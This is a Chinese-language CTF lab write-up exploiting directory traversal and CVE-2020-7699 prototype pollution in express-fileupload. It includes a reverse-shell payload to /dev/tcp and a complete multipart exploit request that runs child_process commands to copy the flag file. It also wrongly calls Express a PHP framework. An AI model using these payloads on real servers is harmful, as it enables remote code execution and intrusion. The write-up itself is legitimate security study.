拿到靶机首先抓包观察用的是什么服务器和框架
发现服务器是Nginx,框架是PHP的express框架
再用dirsearch扫一遍
发现扫出了/static../
意味着服务器存在配置错误,导致了目录遍历漏洞。
当服务器配置不当时,特别是处理静态文件路径时,攻击者可以利用../(上级目录)序列突破Web根目录限制,访问到服务器上的任意文件。
找到源代码(app.js)
许多Web框架(如Django、Flask、Express等)默认采用/static/作为静态文件目录,而源代码一般都为app.js/app.py
const express = require('express'); const fileUpload = require('express-fileupload'); const app = express(); app.use(fileUpload({ parseNested: true })); app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); }); app.get('/', (req, res) => { res.render('index.ejs'); }) app.listen(3000); app.on('listening', function() { console.log('Express server started on port %s at %s', server.address().port, server.address().address); });代码审计
app.post('/4_pATh_y0u_CaNN07_Gu3ss', (req, res) => { res.render('flag.ejs'); });
定义了一个POST路由,路径是/4_pATh_y0u_CaNN07_Gu3ss,当访问此路径时,服务器会渲染flag.ejs文件。
也许flag就在这个路径里
用POST访问/4_pATh_y0u_CaNN07_Gu3ss
看到flag在 flag.txt 中,但是无法直接访问到 flag.txt
再观察源代码
app.use(fileUpload({ parseNested: true }));发现代码中使用了express-fileupload中间件,且启用了parseNested: true选项
也许这里存在CVE-2020-7699:NodeJS模块代码注入
但这个漏洞仅存在于express-fileupload版本低于1.1.9(不包含)
在package.json中获取版本信息
发现为1.1.7,低于1.1.9
确定存在CVE-2020-7699:NodeJS模块代码注入
CVE-2020-7699:NodeJS模块代码注入
漏洞成因:express-fileupload中间件在处理文件上传时,没有对参数名进行安全校验,特别是当启用parseNested: true选项时,允许通过特殊构造的参数名直接操作JavaScript对象的原型链。
原型链污染:攻击者可通过上传含有__proto__或constructor.prototype等特殊字段的文件,污染Object的原型,从而影响所有JavaScript对象。
反弹shell通用payload如下:
x;process.mainModule.require('child_process').exec('bash -c "bash -i &> /dev/tcp/ip/port 0>&1"');x
ip为公网ip,port为探测端口
文件复制payload如下:
x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x
cpcopy命令,用于复制文件基础文件操作
/flag.txt源文件路径(根目录下的flag文件)目标flag所在位置
/app/static/js/Web应用静态文件目录可公开访问的目录
flag.txt复制后的文件名保持名称不变,避免混淆
初步探测一下,观察是否有过滤
构造报文
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;console.log('TEST');x -----------------------------1546646991721295948201928333--成功返回,看来没有过滤
最终利用:
Content-Type: multipart/form-data; boundary=---------------------------1546646991721295948201928333 Content-Length: -----------------------------1546646991721295948201928333 Content-Disposition: form-data; name="__proto__.outputFunctionName" x;process.mainModule.require('child_process').exec('cp /flag.txt /app/static/js/flag.txt');x -----------------------------1546646991721295948201928333--发送该请求包后,flag.txt将被复制到static/js下,即可得到flag。
curl http://61.147.171.103:58898/static/js/flag.txt
cyberpeace{850ffa1d88ce047bcdcf34dbdbcd1e12}